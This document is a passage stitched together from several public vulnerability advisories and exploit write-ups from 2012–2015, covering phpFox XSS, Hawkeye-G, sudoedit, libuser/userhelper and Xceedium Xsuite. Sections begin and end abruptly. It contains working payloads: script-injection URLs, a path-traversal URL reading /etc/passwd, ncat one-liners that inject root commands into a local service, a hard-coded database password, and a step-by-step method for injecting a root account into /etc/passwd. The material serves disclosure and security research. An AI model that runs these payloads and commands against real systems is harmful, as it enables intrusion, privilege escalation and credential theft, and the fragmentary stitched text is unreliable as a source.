source: https://www.securityfocus.com/bid/55405/info phpFox is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. phpFox 3.3.0 is vulnerable; other versions may also be affected. http://www.example.com//static/ajax.php?core[ajax]=true&core[call]=core.message&core[security_token]=860eb6a699d5d9f375b5e8cf0021c094&height=150&message="><script>alert(document.cookie);</script>&width=300 http://www.example.com//static/ajax.php?comment_type_id=feed&core[ajax]=true&core[call]=comment.viewMoreFeed&core[is_admincp]=0&core[is_user_profile]=1&core[profile_user_id]=25&core[security_token]=1fa4d24158b81e721c5974d7f175b2ac&feed_id="><script>alert(document.cookie);</script>&item_id=518&_=1346525603467 http://www.example.com//static/ajax.php?comment_type_id=feed&core[ajax]=true&core[call]=comment.viewMoreFeed&core[is_admincp]=0&core[is_user_profile]=1&core[profile_user_id]=25&core[security_token]=1fa4d24158b81e721c5974d7f175b2ac&feed_id=id&item_id=518"><script>alert(document.cookie);</script>&_=1346525603467

# Exploit Title: Persistent XSS, Information Leakage IDS / IPS # Google Dork: intitle: Persistent XSS, Information Leakage IDS / IPS # Date: 2015-07-25 # Exploit Author: John Page ( hyp3rlinx ) # Website: hyp3rlinx.altervista.org # Vendor Homepage: www.hexiscyber.com # Software Link: www.hexiscyber.com/products/hawkeye-g # Version: v3.0.1.4912 # Tested on: windows 7 SP1 # Category: Network Threat Appliance IDS / IPS Vendor: ================================ www.hexiscyber.com Product: ================================ Hawkeye-G v3.0.1.4912 Hawkeye G is an active defense disruptive technology that detects, investigates, remediates and removes cyber threats within the network. Vulnerability Type: ============================================= Persistent XSS & Server Information Leakage CVE Reference: ============== N/A Advisory Information: ===================================================================== Persistent XSS: --------------- Hexis cyber Hawkeye-G network threat appliance is vulnerable to persistent XSS injection when adding device accounts to the system. The appliance contains an endpoint sensor that collects client information to report back to the Hawkeye-G web interface. When adding device accounts to the system XSS payloads supplied to the vulnerable id parameter 'name' will be stored in database and executed each time certain threat appliance webpages are visited.

# Exploit Title: sudo -e - a.k.a. sudoedit - unauthorized privilege escalation # Date: 07-23-2015 # Exploit Author: Daniel Svartman # Version: Sudo <=1.8.14 # Tested on: RHEL 5/6/7 and Ubuntu (all versions) # CVE: CVE-2015-5602. Hello, I found a security bug in sudo (checked in the latest versions of sudo running on RHEL and ubuntu) when a user is granted with root access to modify a particular file that could be located in a subset of directories. It seems that sudoedit does not check the full path if a wildcard is used twice (e.g. /home/*/*/file.txt), allowing a malicious user to replace the file.txt real file with a symbolic link to a different location (e.g. /etc/shadow). I was able to perform such redirect and retrieve the data from the /etc/shadow file. In order for you to replicate this, you should configure the following line in your /etc/sudoers file: <user_to_grant_priv> ALL=(root) NOPASSWD: sudoedit /home/*/*/test.txt Then, logged as that user, create a subdirectory within its home folder (e.g. /home/<user_to_grant_priv>/newdir) and later create a symbolic link inside the new folder named test.txt pointing to /etc/shadow. When you run sudoedit /home/<user_to_grant_priv>/newdir/test.txt you will be allowed to access the /etc/shadow even if have not been granted with such access in the sudoers file. I checked this against fixed directories and files (not using a wildcard) and it does work with symbolic links created under the /home folder.

Qualys Security Advisory CVE-2015-3245 userhelper chfn() newline filtering CVE-2015-3246 libuser passwd file handling --[ Summary ]----------------------------------------------------------------- The libuser library implements a standardized interface for manipulating and administering user and group accounts, and is installed by default on Linux distributions derived from Red Hat's codebase. During an internal code audit at Qualys, we discovered multiple libuser-related vulnerabilities that allow local users to perform denial-of-service and privilege-escalation attacks. As a proof of concept, we developed an unusual local root exploit against one of libuser's applications. ----[ Vulnerability #1 (CVE-2015-3245 userhelper chfn() newline filtering) We discovered a bug in userhelper, a setuid-root program from the usermode package that provides a basic interface to change a user's password, gecos information, and shell; its -f (Full Name), -o (Office), -p (Office Phone) and -h (Home Phone) command-line options are equivalent to those of the traditional chfn program. userhelper's chfn() function verifies that the fields it was given on the command-line are sane (i.e., contain no forbidden characters). Unfortunately, these forbidden characters (":,=") do not include '\n' and allow local attackers to inject newline characters into /etc/passwd and alter this file in unexpected ways. To the best of our knowledge, this bug is a local denial-of-service only: we were not able to turn it into a local root exploit, but maybe some creative minds will. There is another, secondary aspect of this bug: userhelper depends on libuser to modify /etc/passwd, and libuser's format_generic() and generic_setpass() functions reject fields containing a ':' that would be interpreted as a field separator. Vulnerability #1 could have been prevented if libuser had also rejected '\n' characters. ----[ Vulnerability #2 (CVE-2015-3246 libuser passwd file handling) We discovered a bug in libuser itself: even though traditional programs like passwd, chfn, and chsh work on a temporary copy of /etc/passwd and eventually rename() it, libuser modifies /etc/passwd directly. Unfortunately, if anything goes wrong during these modifications, libuser may leave /etc/passwd in an inconsistent state. This bug is not just another local denial-of-service: we were able to turn it into a local root exploit against userhelper and chfn (if linked with libuser). There is also another, secondary aspect of this bug: glibc modules like nss and nscd do not expect /etc/passwd to be directly modified while they parse its contents, and programs from packages like shadow-utils and util-linux use lckpwdf() locks that are incompatible with libuser's fcntl() locks. --[ Exploitation Overview ]--------------------------------------------------- In this section, we outline our userhelper exploit against libuser's Vulnerability #2; later in this advisory, we explain how it can be easily adapted to chfn (if linked with libuser). Our ultimate goal is to inject an arbitrary line into /etc/passwd (for example, the a-line "\na::0:0::/:\n") but we first need to understand how libuser's generic_mod() function modifies our own user's line in /etc/passwd: - open() /etc/passwd for reading and writing (O_RDWR, but not O_APPEND nor O_TRUNC); - acquire the file's fcntl() write-lock (an exclusive, but advisory lock); - read() the file's contents (into a g_malloc()ated buffer); - lseek() the file to the beginning of our user's line (and skip the unmodified lines that precede); - write() our user's new, modified line (and the rest of the unmodified lines that follow) to the file; - ftruncate() the file (if our user's new, modified line is shorter than the old one); - release the file's fcntl() write-lock; - close() the file. Surprisingly, we only need two things in our toolbox in order to exploit this function and inject the a-line into /etc/passwd: - a pencil and eraser that allows us to repeatedly write() and re-write() our own GECOS field (its length and last character in particular) in /etc/passwd: the userhelper program itself; - a pair of scissors that allows us to interrupt write() with byte precision and avoid ftruncate(): the resource limit RLIMIT_FSIZE, "The maximum size of files that the process may create. Attempts to extend a file beyond this limit result in delivery of a SIGXFSZ signal. By default, this signal terminates a process, but a process can catch this signal instead, in which case the relevant system call (e.g., write(2), truncate(2)) fails with the error EFBIG." For each character in the a-line (beginning with its last character and ending with its first character), we fork() a new process and execve() userhelper with: - a GECOS field that allows us to write() the character to its target offset in /etc/passwd; - an RLIMIT_FSIZE that allows us to terminate the process before it write()s or ftruncate()s the characters that follow. In this example, the newline character '\n' is represented by |, and the last character written (before write() is interrupted by RLIMIT_FSIZE) is marked with ^: ...|...|user:x:1000:1000::/home/user:/bin/bash|...|...| ...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAA:/home/user:/bin/bash|...|...| ...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAA:/home/user:|...|...| ^ ...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/home/:|...|...| ^ ...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/:|...|...| ^ ...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA::/:|...|...| ^ ...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0::/:|...|...| ^ ...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:0::/:|...|...| ^ ...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0:0::/:|...|...| ^ ...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:0:0::/:|...|...| ^ ...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA::0:0::/:|...|...| ^ ...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa::0:0::/:|...|...| ^ ...|...|user:x:1000:1000:AAAAAAAA:/home/user:/bin/bash|a::0:0::/:|...|...| ^ ...|...|user:x:1000:1000::/home/user:/bin/bash|a::0:0::/:|...|...| --[ Exploitation Details ]---------------------------------------------------- In this section, we discuss the problems we encountered while developing our userhelper exploit, and how we solved them. ----[ Problem #1 (missing fields) At the end of our "Exploitation Overview" example, our home-directory and shell-program fields seem to magically reappear in /etc/passwd, although they were previously cut out by RLIMIT_FSIZE. This magic trick introduces Problem #1: we cannot simply fork() a new process for each character in the a-line, execve() userhelper, and let it run until the character is written to its target offset in /etc/passwd, because libuser refuses to modify our user's line if some of its fields are missing. In order to solve this Problem #1, we fork() a new process for each character in the a-line, execve() userhelper, and let it load our user's original, uncut line from /etc/passwd, but we SIGSTOP the process before it open()s /etc/passwd for writing. Only after we have started and stopped all userhelper processes can we safely SIGCONT them, one at a time. ----[ Problem #2 (backup file) Before libuser open()s /etc/passwd for writing, it creates a backup file named /etc/passwd- and if this backup fails, libuser refuses to modify /etc/passwd. Unfortunately, our RLIMIT_FSIZE also applies to the backup, which will fail if the RLIMIT_FSIZE is less than the size of /etc/passwd. This introduces Problem #2: in apparent contradiction to what we just said, our exploit needs to decrease RLIMIT_FSIZE after each character it injects into /etc/passwd (as shown in the "Exploitation Overview" example). In order to solve this Problem #2, we refine Problem #1's SIGSTOP/SIGCONT solution: we let each userhelper process load our user's original, uncut line from /etc/passwd, and SIGSTOP the process after it creates the backup file but before it modifies /etc/passwd. In other words, we have to win a race against generic_mod()'s system calls, which create the backup file and modify /etc/passwd: - open() the passwd file /etc/passwd for reading; - acquire the passwd file's fcntl() read-lock; - open() the backup file /etc/passwd- for writing; - acquire the backup file's fcntl() write-lock; - read() from the passwd file; - write() to the backup file; - ftruncate() the backup file; - release the backup file's fcntl() write-lock; - close() the backup file; - release the passwd file's fcntl() read-lock; - close() the passwd file; - open() /etc/passwd for reading and writing; [RACE WINDOW BEGINS] - acquire the file's fcntl() write-lock: failure, sleep for a few microseconds; - acquire the file's fcntl() write-lock: failure, sleep for a few microseconds; - acquire the file's fcntl() write-lock: failure, sleep for a few microseconds; [RACE WINDOW ENDS] - acquire the file's fcntl() write-lock: success; - read() the file's contents; - etc. In order to reliably win this race against all userhelper processes (one for each character in the a-line), we: - widen the race window. We acquire a read-lock on /etc/passwd before we execve() userhelper, which prevents libuser from acquiring the write-lock on /etc/passwd, and forces it to sleep for a few microseconds (LU_LOCK_TIMEOUT is 2, LU_MAX_LOCK_ATTEMPTS is 6). - pinpoint the race window. We monitor the filesystem for the following sequence of inotify events: . IN_CREATE on /etc if the backup file does not exist; . IN_CLOSE_WRITE on the backup file; . IN_CLOSE_NOWRITE on the passwd file; . IN_OPEN on the passwd file. - preempt the userhelper processes. We setpriority() them to the lowest priority, sched_setscheduler() them to SCHED_IDLE, and sched_setaffinity() them to the same CPU as our exploit. ----[ Problem #3 (last user) If our user's line is the last one in /etc/passwd, then the last character we inject into the file (the '\n' that ends our user's line and begins the a-line) is also the very last character of write()'s buffer, which introduces Problem #3: this last write() will not exceed our RLIMIT_FSIZE, and the consequent ftruncate() will delete the a-line from the end of /etc/passwd. In order to solve this Problem #3: - either we SIGKILL the last userhelper process after write() but before ftruncate(). We reliably win this race with an IN_MODIFY event on /etc/passwd and the "same CPU, different priorities" preemption of userhelper. - or we exploit Vulnerability #1 and inject a '\n' into our own GECOS field. As far as libuser is concerned, this '\n' ends our user's line and begins a new one (with our leftover home-directory and shell-program fields): our user's line is no longer the last one in /etc/passwd. ----[ Problem #4 (maximum GECOS_LENGTH) As shown in our "Exploitation Overview" example, we only have two options for arbitrary character injection into /etc/passwd: - either we use a character that we artificially inject through our own GECOS field (not an option for characters like ':' and '\n'); - or we reuse a character that is naturally present in /etc/passwd (our only option for characters like ':' and '\n'). Unfortunately, both of these options might fail to inject a character after the end of /etc/passwd (a consequence of Problem #2): - if our own GECOS field is too far away from the end of /etc/passwd (farther than userhelper's maximum GECOS_LENGTH, 127 characters); - if the character is not already one of the last GECOS_LENGTH characters in /etc/passwd. If faced with both of these problems, we solve the first one (and Problem #4) by repeatedly deleting lines from the end of /etc/passwd, until our own user's line is the last one in the file: we enlarge our own GECOS field, delete characters from the end of /etc/passwd with our RLIMIT_FSIZE scissors, shrink our GECOS field again, repeat. ----[ Problem #5 (time complexity) For each character in the a-line, we usually have to choose one of several (GECOS, RLIMIT_FSIZE) pairs that allow us to write the character to its target offset in /etc/passwd. These pairs represent the nodes of a search tree that grows exponentially (with the number of characters in the a-line) but may contain few or no solutions. In order to avoid this tree's worst-case time complexity, we: - inject the shortest a-line possible, "\na::0:0::/:\n"; - perform a recursive depth-first search on the tree, and return the first solution we find (instead of, for example, the solution that minimizes /etc/passwd's alterations); - replace the a-line's username with a wildcard, and accept any lowercase character that is not already a username (the a-line's username was a major problem, because it is the last character we inject, and therefore occurs deep down the tree's branches; the a-line's '0' characters are only a minor problem, because they occur in the middle of the tree's branches, whence we can backtrack quickly). ----[ chfn util-linux's chfn from Red Hat's codebase is linked with libuser, and can be exploited by our public roothelper.c with just a few changes (left as an exercise for the interested reader): - userhelper uses a simple Userhelper/Consolehelper request/response protocol in order to prompt for and read the user's password, but chfn uses traditional terminal interaction; - if our user's line is the last one in /etc/passwd, we can exploit Vulnerability #1 against userhelper, but we have to win Problem #3's write/ftruncate race against chfn; - userhelper returns 0/255 on success/failure, but chfn returns 0/1. --[ Acknowledgments ]--------------------------------------------------------- We would like to thank Red Hat's Security Response Team and developers for promptly addressing these issues. ------ roothelper.c exploit ------ /* * roothelper.c - an unusual local root exploit against: * CVE-2015-3245 userhelper chfn() newline filtering * CVE-2015-3246 libuser passwd file handling * Copyright (C) 2015 Qualys, Inc. * * gecos_* types and functions inspired by userhelper.c * Copyright (C) 1997-2003, 2007, 2008 Red Hat, Inc. * * UH_* #defines and comments inspired by userhelper.h * Copyright (C) 1997-2001, 2007 Red Hat, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Timeline --------------------------------------------------------------------- * 2015-06-17: Vulnerabilities have been discovered * 2015-06-19: Vendor notified via support@xceedium.com * 2015-06-19: CVE IDs assigned * 2015-06-26: Public reminder sent via Twitter * 2015-06-26: Findings updated * 2015-07-22: Release after Xceedium did not respond within more than 15 business days --------------------------------------------------------------------- 2. Summary --------------------------------------------------------------------- Vendor: Xceedium, Inc. Products known to be affected: * Xsuite 2.3.0 * Xsuite 2.4.3.0 * Other products and versions may be affected as well. Severity: Overall High Remote exploitable: remote and local The Xsuite system controls and audits privileged user access to computers in a network environment. Several vulnerabilities were identified in the solution. The vulnerabilities allow unauthenticated users to fully compromise an Xsuite host over the network. The issues described below are only examples for vulnerability classes. The solution is systematically affected by similar issues. CVE-2015-4664 to CVE-2015-4669 was assigned to these vulnerabilities and vulnerability classes. --------------------------------------------------------------------- 3. Details --------------------------------------------------------------------- 3.1 Command injection via the login form (Severity: High, CVE-2015-4664) The login form is affected by a code injection vulnerability via the "id" POST parameter, which allows an unauthenticated attacker to inject Linux commands. These commands are executed with the privileges of the Linux user "www-data". The injected command's output is then sent back to the attacker. An example HTTP request and response is shown below.

Here, the HTTP response contains a message, which seems to be JSON. However, the content type is "text/html". Thus, a web browser treats the server response as HTML code (fragment).

The script tries to cut the "../" pattern for relative directory addressing, but fails to sanitize specially crafted input. Hence, it is still possible to download files from the host by accessing the script as shown below: https://XXX.XXX.XXX.XXX/opm/read_sessionlog.php?logFile=....//....//....//....//etc/passwd The following code is part of the source code file /var/www/htdocs/uag/web/opm/read_sessionlog.php [...] $file_path= $_REQUEST["logFile"]; [...] if (strpos($file_path, '/opt/rpath') !== 0) { $file_path = '/opt/rpath/' .$file_path; } if($startByte < 1) $startByte=0; if (isset($file_path)) { // make sure users cannot hack via ../../ $file_path = preg_replace("/\.\.\//", "", $file_path); $file_path = stripslashes($file_path); // if the file does not exist, display it if (!is_file($file_path)) { echo 'File (' .$_REQUEST["logFile"]. ') does not exist.'; exit(0); } } output_file($file_path, 'VT100LogA.txt', '', $startByte, $searchChar, $searchDir, $totalByte); [...] 3.4 Privilege escalation via "/sbin/spadmind" (Severity: High, CVE-2015-4664) The "spadmind" service allows local users to escalate their privileges to become "root". In combination with the command injection vulnerability from section 3.1, it is possible to run arbitrary commands as "root" user via the network. The web interface runs under the privileges of the web server user. To execute privileged commands, the web interface sends text-based messages via a socket to the "spadmind" process. The "spadmind" process has a listening socket bound to localhost:2210 and reads in text lines, which are partially used as parameter for system command execution. Since the "spadmind" process does not validate the input, an attacker is able to inject commands that are executed with super-user privileges. File: /sbin/spadmind [...] # socket my $clsock = shift; # command and number of lines to process my $command = <$clsock>; my $numlines = <$clsock>; chomp($command); chomp($numlines); [...] } elsif ($command eq 'expect') { chomp($line = <$clsock>); my $res = `expect $line`; if ($res =~ /(STATUS=\w+)/) { $resp = $1; } else { $resp = 'unknown'; } [...] In the quoted code above, running the command "expect" and allowing users to specify parameters is a vulnerability, because parameters could be passed via option "-c" to invoke shell commands. $ echo -e "expect\n1\n-c garbage;id > /tmp/x23" | ncat --send-only 127.0.0.1 2210; sleep 1; cat /tmp/x23 uid=0(root) gid=0(root) $ echo -e "timezone\n1\n;id > /tmp/x42" | ncat --send-only 127.0.0.1 2210; sleep 1; cat /tmp/x42 uid=0(root) gid=0(root) 3.5 Hard-coded database credentials (Severity: Low, CVE-2015-4667) The software uses hard-coded credentials at several places, which makes it unfeasible to change database credentials regularly. $ grep -R n1b2dy . ./uag/db/init/install-xio-uag-data.sql:SET PASSWORD FOR 'uaguser'@'localhost'=PASSWORD('n1b2dy'); ./uag/db/init/upgrade401SP2to402.pl:use constant LW_DBPASS => "n1b2dy"; ./www/htdocs/uag/web/activeActiveCmd.php: $res = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/web/activeActiveCmd.php: $link = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/web/activeActiveCmd.php: $link = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/web/activeActiveCmd.php: $res = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/web/activeActiveCmd.php: $link = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/web/activeActiveCmd.php: $link = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/web/ajax_cmd.php: $link = mysql_connect("localhost", "uaguser" ,"n1b2dy"); ./www/htdocs/uag/cgi/external_log_sync.php: $db_link_local = new mysqli("localhost", "uaguser", "n1b2dy", "uag"); ./www/htdocs/uag/config/db.php:$dbchoices = array("mysql", "uaguser", "n1b2dy"); ./www/htdocs/uag/services/main/common/Configuration.php: const K_DB_PASS_DEFAULT = 'n1b2dy'; ./www/htdocs/uag/functions/eula_check.php: $link = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/functions/eula_check.php: $link = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/functions/db.php: $dbchoices = array("mysql", "uaguser", "n1b2dy"); ./www/htdocs/uag/functions/remove_disabled_cron.pl: 'n1b2dy', $ grep -R n1b2dy sbin sbin/logwatch:use constant LW_DBPASS => "n1b2dy"; sbin/interrogate-vmware.pl: use constant DB_PASSWORD => 'n1b2dy'; Binary file sbin/xcd_sshproxy matches Binary file sbin/xcd_upd matches Binary file sbin/vlmon matches Binary file sbin/sessd matches Binary file sbin/gksfdm matches Binary file sbin/xcdmsubagent matches sbin/logload:my $dbh = DBI->connect("DBI:mysql:uag", "uaguser", "n1b2dy") or die("Can not connect to the database\n"); sbin/make-auth-token.pl: my $passwd = 'n1b2dy'; sbin/rotate_coredumps.pl: my $passwd = 'n1b2dy'; Binary file sbin/loadcrl matches sbin/ad_upd: $dbh = DBI->connect( 'DBI:mysql:uag', 'uaguser', 'n1b2dy', { autocommit => 0 } ) sbin/ad_upd: my $db = DBI->connect( 'DBI:mysql:uag', 'uaguser', 'n1b2dy', { autocommit => 0 } ) sbin/ad_upd: $dbh = DBI->connect_cached( 'DBI:mysql:uag', 'uaguser', 'n1b2dy', { autocommit => 0 } ) sbin/rfscheck:use constant LW_DBPASS => "n1b2dy"; sbin/auth.pl: 'n1b2dy', sbin/apwd: my $dbh = DBI->connect("DBI:mysql:uag", "uaguser", "n1b2dy") or return; sbin/update_crld:my($dbpass)="n1b2dy"; sbin/update_crld: 'n1b2dy', 3.6. No password for MySQL "root" user (Severity: High, CVE-2015-4669) Local users can access databases on the system without further restrictions, because the MySQL "root" user has no password set. $ python XceediumXsuitePoC.py --host XXX.XXX.XXX.XXX --cmd 'echo "update user set active = 0, passwd=sha1(\"myknownpw\") where u_name = \"mytargetuser\";"| mysql -u root uag' 3.7 Open redirect (Severity: Low, CVE-2015-4668) An attacker may craft a link to an Xsuite host that looks valid, but tricks the user and abuses an open redirect vulnerability in Xsuite to redirect a user to a third party web site, for example a web site with malware. https://XXX.XXX.XXX.XXX/openwin.php?redirurl=%68%74%74%70%3a%2f%2f%77%77%77%2e%6d%6f%64%7a%65%72%6f%2e%63%68 File: /var/www/htdocs/uag/web/openwin.php <? $redirurl = $_GET['redirurl']; header('Location: ' .$redirurl); ?> 3.8 Possible issues not further investigated Passwords stored in the database are unsalted hashes, which reduces the attack complexity if an attacker has access to the database. The setup under invesatigation partially used MD5 and SHA1 hashes. The web interface and scripts create SQL statements by concatenating strings and user-supplied input without proper input validation. This may result in SQL injections. $ grep -i -R where . | grep -E '\$_(POST|GET)' ./web/filter/filter_sfa.php: $query = "delete from socket_filter_mon where sfm_id='".$_GET['sfm_id']."'"; ./web/filter/filter_command_list.php: $query = "select * from cmd_list where id='".$_POST["s_list"]."'"; ./web/filter/filter_command_list.php: $query = "delete from cmd_list where id='".$_POST["s_list"]."'"; ./web/filter/filter_command_list.php: $query = "delete from cmd_keywords where list_id='".$_POST["s_list"]."'"; ./web/filter/filter_command_list.php: "where command_filter = '".$_POST["s_list"]."'"; ./web/filter/filter_command_list.php: $query = "select * from cmd_list where list_type='".$_POST['r_ltype']."' order by listname"; ./web/filter/filter_command_list.php: where id='".$_POST['id']."'"; ./web/filter/filter_command.php: $query = "update intervention_configuration set value = '".$_POST['number_warnings']."' where name = 'number_of_warnings'"; ./web/filter/filter_command.php: $query = "update intervention_configuration set value = '".$_POST['blacklist_action']."' where name = 'intervention_action'"; ./web/filter/filter_command.php: $query = "update intervention_configuration set value = '".$_POST['blacklist_intervention_message']."' where name = 'blacklist_intervention_message'"; ./web/filter/filter_command.php: $query = "update intervention_configuration set value = '".$_POST['whitelist_intervention_message']."' where name = 'whitelist_intervention_message'"; ./web/filter/filter_command.php: $query = "update intervention_configuration set value = '".$_POST['alert_email_message']."' where name = 'alert_email_message'"; ./web/socketFilterCmd.php: $res = mysql_query("SELECT h_id FROM host where hostID=" . $_GET['h_id']); ./web/socketFilterCmd.php: $res = mysql_query("SELECT h_id FROM host where hostID=" . $_GET['h_id']); ./web/socketFilterCmd.php: $query = "delete from rdp_lock where id='".$_GET['rdp_id']."'"; ./web/socketFilterCmd.php: $query = "select hostID from host where h_id = '".db_esc($_GET["device_name"])."'"; ./web/socketFilterCmd.php: where sess_id='".$_GET['PHPSESSID']."' and ./web/socketFilterCmd.php: $query = 'SELECT seq FROM gkconnection WHERE sess_id = "' .$sessid.

Impact --------------------------------------------------------------------- The identified vulnerabilities allows any user to execute arbitrary commands as system super-user ("root"). Since the system is used to control other devices (for example, via RDP and SSH), an attacker would add malicous modification to the Java-based clients for RDP and SSH to exfiltrate access credentials for computers and to abuse these credentials in further steps. --------------------------------------------------------------------- 5.
